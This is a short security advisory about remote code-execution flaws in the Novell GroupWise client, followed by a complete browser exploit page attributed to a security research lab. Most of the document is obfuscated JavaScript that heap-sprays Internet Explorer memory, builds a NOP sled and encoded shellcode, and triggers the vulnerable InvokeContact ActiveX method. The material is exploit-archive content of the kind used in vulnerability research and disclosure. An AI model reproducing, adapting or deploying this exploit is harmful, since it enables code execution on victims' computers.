source: http://www.securityfocus.com/bid/57657/info

Novell Groupwise Client is prone to multiple remote code-execution vulnerabilities.

A remote attacker can leverage this issue to execute arbitrary code within the context of the application. Successful exploits will compromise the application, and possibly, the underlying computer.

The following versions are vulnerable:

Versions prior to 8.0.3 Hot Patch 2
Versions prior to GroupWise 2012 SP1 Hot Patch 1 

<!--  (c)oded by High-Tech Bridge Security Research Lab  -->
<!-- Windows XP-SP3 Internet Explorer 8.0 - Dep Disabled -->
<html>
<Title>- Novell GroupWise 12.0 InvokeContact method Exploit - </Title>
<object id=ctrl classid='clsid:{54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF}'></object>
<script language='javascript'>

function GyGguPonxZoADbtgXPS() {
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl = function(maxAlloc, heapBase) {

    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
    this.heapBase = (heapBase ? heapBase : 0x150000);
    this.KJZFzfumaV = "AAAA";

    while (4 + this.KJZFzfumaV.length*2 + 2 < this.maxAlloc) {
        this.KJZFzfumaV += this.KJZFzfumaV;
    }
    this.mem = new Array();
    this.AocZkxOTvEXwFTsIPMSanrManzYrte();
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.mNhbOXqosTNKjGhfj = function(msg) {
    void(Math.atan2(0xbabe, msg));
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.YMQLSZf = function(enable) {

    if (enable == true)
        void(Math.atan(0xbabe));
    else
        void(Math.asin(0xbabe));
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.ooWKILTrZUXKEMl = function(msg) {
    void(Math.acos(0xbabe));
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.zoNWUcOOYegFinTDSbOSAAM = function(len) {
    if (len > this.KJZFzfumaV.length)
        throw "Requested zoNWUcOOYegFinTDSbOSAAM string length " + len + ", only " + this.KJZFzfumaV.length + " available";

    return this.KJZFzfumaV.substr(0, len);
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.UWzqrDQwReXOllGssMYEzruQtomLp = function(num, UWzqrDQwReXOllGssMYEzruQtomLp) {
    if (UWzqrDQwReXOllGssMYEzruQtomLp == 0)
        throw "Round argument cannot be 0";

    return parseInt((num + (UWzqrDQwReXOllGssMYEzruQtomLp-1)) / UWzqrDQwReXOllGssMYEzruQtomLp) * UWzqrDQwReXOllGssMYEzruQtomLp;
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.beTBwoiJGBBhwyZg = function(num, width)
{
    var digits = "0123456789ABCDEF";

    var beTBwoiJGBBhwyZg = digits.substr(num & 0xF, 1);

    while (num > 0xF) {
        num = num >>> 4;
        beTBwoiJGBBhwyZg = digits.substr(num & 0xF, 1) + beTBwoiJGBBhwyZg;
    }

    var width = (width ? width : 0);

    while (beTBwoiJGBBhwyZg.length < width)
        beTBwoiJGBBhwyZg = "0" + beTBwoiJGBBhwyZg;

    return beTBwoiJGBBhwyZg;
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.RBRfbU = function(RBRfbU) {
    return unescape("%u" + this.beTBwoiJGBBhwyZg(RBRfbU & 0xFFFF, 4) + "%u" + this.beTBwoiJGBBhwyZg((RBRfbU >> 16) & 0xFFFF, 4));
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.nPdkLCpaz = function(arg, tag) {

    var size;
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";
    if (this.mem[tag] === undefined)
        this.mem[tag] = new Array();

    if (typeof arg == "string" || arg instanceof String) {
        this.mem[tag].push(arg.substr(0, arg.length));
    }
    else {
        this.mem[tag].push(this.zoNWUcOOYegFinTDSbOSAAM((arg-6)/2));
    }
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.SWc = function(tag) {

    delete this.mem[tag];
    CollectGarbage();
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.AocZkxOTvEXwFTsIPMSanrManzYrte = function() {

    this.mNhbOXqosTNKjGhfj("Flushing the OLEAUT32 cache");

    this.SWc("oleaut32");

    for (var i = 0; i < 6; i++) {
        this.nPdkLCpaz(32, "oleaut32");
        this.nPdkLCpaz(64, "oleaut32");
        this.nPdkLCpaz(256, "oleaut32");
        this.nPdkLCpaz(32768, "oleaut32");
    }
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.uYiBaSLpjlOJJdhFAb = function(arg, tag) {

    var size;
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;
    if (size == 32 || size == 64 || size == 256 || size == 32768)
        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";
    this.nPdkLCpaz(arg, tag);
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.K = function(tag) {
    this.SWc(tag);
    this.AocZkxOTvEXwFTsIPMSanrManzYrte();
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.WbTbmzXVnhA = function() {

    this.mNhbOXqosTNKjGhfj("Running the garbage collector");
    CollectGarbage();

    this.AocZkxOTvEXwFTsIPMSanrManzYrte();
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.ZsJjplNR = function(arg, count) {

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++) {
        this.uYiBaSLpjlOJJdhFAb(arg);
        this.uYiBaSLpjlOJJdhFAb(arg, "ZsJjplNR");
    }
    this.uYiBaSLpjlOJJdhFAb(arg);

    this.K("ZsJjplNR");
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.WbjLbPsZ = function(arg, count) {

    var size;
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum WbjLbPsZ block size is 1008 bytes");

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++)
        this.uYiBaSLpjlOJJdhFAb(arg, "WbjLbPsZ");

    this.K("WbjLbPsZ");
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.foURAtIhCeelDtsbOQrWNdbMLDvFP = function(arg)
{
    var size;
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum WbjLbPsZ block size is 1008 bytes");

    return this.heapBase + 0x688 + ((size+8)/8)*48;
}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.udIUhjCc = function(shellcode, jmpecx, size) {

    var size = (size ? size : 1008);
    if ((size & 0xf) != 0)
        throw "Vtable size " + size + " must be a multiple of 16";

    if (shellcode.length*2 > size-138)
        throw("Maximum shellcode length is " + (size-138) + " bytes");

    var udIUhjCc = unescape("%u9090%u7ceb")

    for (var i = 0; i < 124/4; i++)
        udIUhjCc += this.RBRfbU(jmpecx);

    udIUhjCc += unescape("%u0028%u0028") +
              shellcode + heap.zoNWUcOOYegFinTDSbOSAAM((size-138)/2 - shellcode.length);

    return udIUhjCc;
}
    var heap_obj = new GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl(0x10000);
    var payload2 = unescape(
             "%u4242%u4242%u4242%u4242%ucccc%ucccc%ucccc%ucccc%ucccc%u0c40%u0c0c%u0c44%u0c0c%u0c48%u0c0c%ue8fc%u0089%u0000%u8960%u31e5" +
             "%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b" +
             "%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf" +
             "%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b" +
             "%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd" +
             "%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063" +
             "");
    var payload = unescape("%u0c0c%u0c0c%u0003%u0000%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    var zoNWUcOOYegFinTDSbOSAAM = unescape("%u9090%u9090");

    while (zoNWUcOOYegFinTDSbOSAAM.length < 0x1000) zoNWUcOOYegFinTDSbOSAAM += zoNWUcOOYegFinTDSbOSAAM;

    offset_length = 0x5F6;
    junk_offset = zoNWUcOOYegFinTDSbOSAAM.substring(0, offset_length);

    var shellcode = junk_offset + payload + payload2 + zoNWUcOOYegFinTDSbOSAAM.substring(0, 0x800 - payload2.length - junk_offset.length - payload.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;

    var block = shellcode.substring(2, 0x40000 - 0x21);
    for (var i=0; i < 250; i++) {
     heap_obj.uYiBaSLpjlOJJdhFAb(block);
    }
    ctrl.InvokeContact(202116108)
</script>
</html>
